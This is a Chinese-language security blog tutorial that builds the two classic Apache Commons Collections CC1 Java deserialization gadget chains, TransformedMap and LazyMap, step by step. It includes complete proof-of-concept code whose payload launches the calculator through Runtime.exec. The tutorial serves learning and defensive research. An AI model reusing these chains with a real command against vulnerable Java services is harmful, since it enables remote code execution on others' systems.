文章总结: 本文详细解析了JavaApacheCommonsCollections反序列化漏洞CC1链的构造原理。文章从环境搭建开始,逐步分析了InvokerTransformer类的反射调用风险,详细演示了通过TransformedMap与AnnotationInvocationHandler构建利用链的过程。重点阐述了利用ChainedTransformer串联反射调用、解决Runtime不可序列化问题以及绕过AnnotationInvocationHandler条件判断的方法,为理解反序列化漏洞提供了详实的代码调试与实战指引。
综合评分: 86
文章分类: 漏洞分析,代码审计,实战经验
从0-1一文彻底搞懂CC1两条反序列化链,小白也能手搓链子
原创
oLy
oLy
小趴菜网安学习路
2026年3月4日 21:46
内蒙古
背景介绍
Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
环境搭建
CC1链在JDK_8u71修复了,这里使用jdk_8u65版本。
commons-collections选择3.2.1.版本
<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
jdk中很多包不是一个公司开发的,有些是有源码的,有些是反编译之后的代码,比如sun包下就是反编译代码,反编译代码很难读是一方面,而且使用idea无法将class反编译源码使用find usage找到调用的点。
所以就需要手动将 java 源码加进去
openjdk:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
将其中的sun包复制出来
原本的jdk_8u65是不存在sun包的,将openjdk的sun包复制到解压之后的src目录即可
之后 idea 中将 src 目录添加到 Sourcepath 中
入口点
作者发现在Commons Collections中有一个Transformer.java类,根据注释,该类作用是接收一个对象,然后调用其transform方法,也是核心方法
可以看一下其实现类有哪些,快捷键: Ctrl + Alt + B
其中漏洞点在InvokerIransformer类,实现了Serializable,满足其中一个条件
实现了Transformer接口,重写了transform方法,其中iMethodName&iParamTypes均可控
普通反射写法
public static void main(String[] args) throws Exception {// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime(); Class<?> c = Runtime.class; Method execMethod = c.getMethod("exec", String.class); execMethod.invoke(r, "calc");
}
InvokerIransformer危险类
先创建InvokerTransformer()示例,并且由于其实现了Transformer()接口,那必须调用transform()方法,transform()接收对象和一个参数
这里可以直接查看其构造函数,需要传入什么值:方法名,参数类型,参数值
public static void main(String[] args) throws Exception {// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();// Class<?> c = Runtime.class;// Method execMethod = c.getMethod("exec", String.class);// execMethod.invoke(r, "calc");
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r); }
目前根据反序列化流程原理,已经是找到了transform危险方法,那就需要继续反向寻找,哪一个类中调用了transform,就需要找到O.aaa是什么
最后就会找到map类
像LazyMap这些中有get方法调用了transform方法,那就继续往前找那个类中的readObject()又调用了get方法
TransformedMap类
先看TransformedMap类,其中有3处调用了transform方法,checkSetValue方法调用了valueTransformer.transform(value)
再看下它的构造函数,protected修饰,被自己或者同类子类调用;其接收一个map,对其key和value进行一些transformer的操作,但是根据上面checkSetValue调用来看,只调用了valueTransformer
由于是保护方法,继续往上找,静态方法decorate调用了TransformedMap,接收map,key和value
继续构造链子
public class CC1Test { public static void main(String[] args) throws Exception {// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();// Class<?> c = Runtime.class;// Method execMethod = c.getMethod("exec", String.class);// execMethod.invoke(r, "calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 先创建一个 hashmap 实例,因为 TransformedMap.decorate() 接收一个 map // invokerTransformer.transform(r); HashMap<Object, Object> map = new HashMap<>(); TransformedMap.decorate(map, null, invokerTransformer); }
首先创建hashmap实例,因为TransformedMap.decorate()接收一个map,不需要keyTransformer置为空即可,valueTransformer传入invokerTransformer,当checkSetValue调用valueTransformer时候,就相当于调用了invokerTransformer.transform(value)方法,但是目前value是否能控制还是未知。继续往下走
继续查看哪里调用了checkSetValue方法
可以发现AbstractInputCheckedMapDecorator是TransformedMap的一个父类
其中MapEntry类调用了checkSetValue方法,MapEntry
for(Map.Entry entry:map.entrySet()){ entry.getValue(); }
第 1 行:for (Map.Entry entry : map.entrySet())
○ map.entrySet() 返回一个Set<Map.Entry<K, V>>,即 map 中所有键值对的集合。
○ Map.Entry entry 声明一个变量 entry,类型是 Map.Entry(原始类型,不带泛型);每次循环,entry 会指向 map 中的一个键值对。
第 2 行:entry.getValue();
○调用当前 entry 的 getValue() 方法;
○返回该键值对的 value;
public static void main(String[] args) throws Exception {// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();// Class<?> c = Runtime.class;// Method execMethod = c.getMethod("exec", String.class);// execMethod.invoke(r, "calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// 先创建一个 hashmap 实例,因为 TransformedMap.decorate() 接收一个 map HashMap<Object, Object> map = new HashMap<>(); map.put("key", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);
// 方法一:遍历执行setValue(r) for(Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); } // 方法二:只取一个键值对执行setValue(r)// Map.Entry firstEntry = transformedMap.entrySet().iterator().next();// firstEntry.setValue(r);
}
这里写Map.Entry就是为了能够执行setValue调用checkSetValue方法,无论是利用entrySet()方法循环还是只取一个只要调用了setValue(r)即可。根据官方文档,Map.Entry只能使用entrySet()方法获取键值对
根据上面分析,只要找到一个能够遍历数组或者利用Map.Entry最终能够调用setValue的类就可以执行后面的链子
返回继续接着找setValue,思路还是寻找不同名的调用setValue的地方,最好是一个类中readObject()方法中调用了setValue(),AnnotationInvocationHandler类有一个遍历数组的功能,调用了setValue方法
看一下构造函数,接收Class类型的type,Map类型的memberValues,这里传入的memberValues就是可控的,那就可以将设计好的TransformMap传入进去,type是继承了Annotation的Class类型,Annotation是注解的意思,也就是说需要传入一个注解
接下来就实例化这个类,尝试调用,这个类没有public修饰,说明是default类型,default类型只有在当前的包下面才能访问到,这时候就必须要使用反射去获取这个类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annoInvoHandler = c.getDeclaredConstructor(Class.class, Map.class);annoInvoHandler.setAccessible(true);Object o = annoInvoHandler.newInstance(Override.class, transformedMap);
接下来就需要获取Runtime.getRuntime()的实例,由于Runtime不能实例化,但是Runtime.class可以实例化,因此需要使用反射进行调用
Class c = Runtime.class;Method getRuntimeMethod = c.getMethod("getRuntime", null);Runtime r = (Runtime) getRuntimeMethod.invoke(null, null);Method execMethod = c.getMethod("exec", String.class);execMethod.invoke(r, "calc");
getRuntime是静态方法,而且是个无参方法,所以c.getMethod后面可以添加null,表示参数类型为空,也可以不添加null,单独写c.getMethod(“getRuntime”),invoke(null, null)静态方法的第一个参数必须是 null,第二个null是由于getRuntime是无参方法传入null,也可以为空。
execMethod.invoke(r, “calc”);在对象r上调用exec方法,传入参数 “calc”,等价于:r.exec(“calc”);
getMethod接收的是字符串名字以及Class数组
new InvokerTransformer(“getMethod”, new Class[]{String.class,Class[].class}, new Object[]{“getRuntime”, null}).transform(Runtime.class);是Method getRuntimeMethod = c.getMethod(“getRuntime”, null);的替换
InvokerTransformer接收getMethod方法,第二个参数接收getMethod放的参数类型数组,第三个参数接收getMethod方法传入的参数值
接下来就是获取到getRuntimeMethod之后又调用的invoke方法,以此类推,最终改为可以序列化的版本
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);
这里虽然可以手动执行了,但是真实反序列化过程中,只能构造一个 Transformer 对象,然后等待它被自动调用一次,但是自动调用一次只会获取到Runtime.class,不会执行后面的两步,这里三行代码表示前一个的输出作为后一个的输入,但是需要一步完成,所以后面还需要ChainedTransformer,将三步合为一步完成最终的调用。
查看ChainedTransformer方法签名,需要传入一个Transformer[]数组,接着利用循环前一个输出作为后一个输入
那现在就需要先构造一个Transformer[]数组,将前面三步放入数组
Transformer[] transformers = { new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);
这里chainedTransformer.transform(Runtime.class);只需要传Runtime.class是因为transform接收到之后就会进行循环调用,前一步输出作为后一步输入,所以只传入Runtime.class即可
接下来就需要解决AnnotationInvocationHandler类中if分支的问题
在if处下个断点,调试一下,type接收的是传入的Override注解,memberValues就是传入的TransformedMap,也就是构造的map.put(“key”, “value”),而且memberTypes获取的是key,if判断需要memberType不为null。
核心在于这两行代码:
String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);
先获取注解中的键名,再根据键名提取对应的键值,这就导致注解必须要有成员,否则不会进入memberType永远为null,无法进入if判断,这里传入的Override注解是没有成员的,下图中Target和Retention都是有成员的
修改payload,传入Retention注解,而且根据memberTypes.get(name)还必须传入Retention注解的成员名字,也就是修改为map.put(“value”, “aaa”)
map.put("value", "value");Object o = annoInvoHandler.newInstance(Retention.class, transformedMap);
重新下断点,现在的memberType已经不为null了
继续跟进到valueTransformer.transform(value),其中这里的valueTransformer.transform(value)也就是当前的chainedTransformer.transform(Runtime.class),也就是只需要将Runtime.class作为value传入即可,但是现在的value是下图中所示,不符合预期
但目前还有一个ConstantTransformer,无论接收什么,只返回当前接收的值
构造如下:
Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) };
根据修改完之后的下断点
package com.example.cc1;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.TruePredicate;import org.apache.commons.collections.map.TransformedMap;import org.springframework.stereotype.Controller;import sun.instrument.TransformerManager;
import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;
public class CC1Test { public static void main(String[] args) throws Exception {
Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 先创建一个 hashmap 实例,因为 TransformedMap.decorate() 接收一个 map HashMap<Object, Object> map = new HashMap<>(); map.put("value", "value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annoInvoHandler = c.getDeclaredConstructor(Class.class, Map.class); annoInvoHandler.setAccessible(true); Object o = annoInvoHandler.newInstance(Retention.class, transformedMap); serialize(o); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{ ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}
虽然接收的是固定的输入,但是由于ConstantTransformer一直返回当前值,就成功将固定值修改为了Runtime.class
成功执行
LazyMap类
对于LazyMap类,依旧是以InvokerTransformer类作为危险执行类,和找到TransformedMap类一样,寻找不同类调用的相同transform方法,找到LazyMap类
LazyMap类factory调用了transform方法,继续往上找,factory是哪里来的
LazyMap类接收Transformer factory赋值给factory,但是LazyMap是以protected修饰的,只能被同类,子类进行调用,继续往上看,decorate方法是一个Map类型且以public修饰,最后调用LazyMap
这里构造一下poc
Runtime r = Runtime.getRuntime();// Class<?> c = Runtime.class;// Method execMethod = c.getMethod("exec", String.class);// execMethod.invoke(r, "calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, invokerTransformer); lazyMap.get(r);
首先根据decorate的方法签名,使用Map类型引用lazyMap,返回LazyMap的实例,最后调用get()传入r执行命令
这里的话,前面构造序列化的Runtime.getRuntime.exec()还是调用ChainedTransformer&ConstantTransformer实现的
Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
目前无法执行成功,需要继续找到哪里调用了get()方法
在AnnotationInvocationHandler类中调用了get()方法
而且可以使用反射调用AnnotationInvocationHandler传入memberValues再利用invoke()调用get()方法(AnnotationInvocationHandler这个类中调用的get()方法其实很难找,按照CC1链子分析即可,主要是理解gadget如何挖掘的)
动态代理的调用处理器类就是AnnotationInvocationHandler类
当通过反射拿到一个注解实例(如@MyAnno),并调用它的方法(如anno.value())时,JVM 会自动调用 AnnotationInvocationHandler.invoke()来处理这个方法调用。
- AnnotationInvocationHandler 实现了 java.lang.reflect.InvocationHandler 接口
- 它的 invoke() 方法只有在代理对象的方法被调用时,才会由 JVM 触发
- 如果直接 new 一个 AnnotationInvocationHandler,但没有用它创建代理,那么 invoke() 永远不会被执行
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor anotionInvHandler = c.getDeclaredConstructor(Class.class, Map.class);anotionInvHandler.setAccessible(true);// 创建anotionInvHandler动态代理实例InvocationHandler h = (InvocationHandler)anotionInvHandler.newInstance(Target.class, lazyMap);// 动态代理必须要代理一个接口,正好是代理Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
此时只需要调用mapProxy任意方法即可自动执行invoke,由于maoProxy代理的是Map类型,调用Map中的方法即可,但是需要绕过一些条件,总结来说就是不能等于equals\toString\hashCode\annotationType方法,并且不能有参数
根据map结构,找到没有参数的方法调用可成功执行
接下来就需要找一个调用了map中无参方法的类,最好是能在readObject()中,也就是TransformedMap链子中调用的的Map.entrySet()方法
此时只需要再新建一个AnnotationInvocationHandler实例即可
Object o = anotionInvHandler.newInstance(Target.class, mapProxy);serialize(o); // 读取序列化字符串,反序列化执行unserialize("ser.bin");
完整LazyMap-CC1
package com.example.cc1;
import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;
import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;
public class LazyMapCC1 { public static void main(String[] args) throws Exception{// Runtime r = Runtime.getRuntime();
// Runtime r = Runtime.getRuntime();// Class<?> c = Runtime.class;// Method execMethod = c.getMethod("exec", String.class);// execMethod.invoke(r, "calc");
// InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); Transformer[] transformers = { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor anotionInvHandler = c.getDeclaredConstructor(Class.class, Map.class); anotionInvHandler.setAccessible(true); InvocationHandler h = (InvocationHandler)anotionInvHandler.newInstance(Target.class, lazyMap); // 动态代理必须要代理一个接口,正好是代理 Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, h);
Object o = anotionInvHandler.newInstance(Target.class, mapProxy); // 获取的对象序列化 serialize(o); // 读取序列化字符串,反序列化执行 unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }}
写在最后
cc1的两条链子其实也不难,主要是理解链子构造过程,在各种实战场景中cc1其实用的并不多,因为最后是执行的Runtime.getRuntime.exec();只不过cc1比较经典,彻底搞懂cc1其他反序列化链子其实也都大差不差的。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小趴菜网安学习路 oLy
oLy《从0-1一文彻底搞懂CC1两条反序列化链,小白也能手搓链子》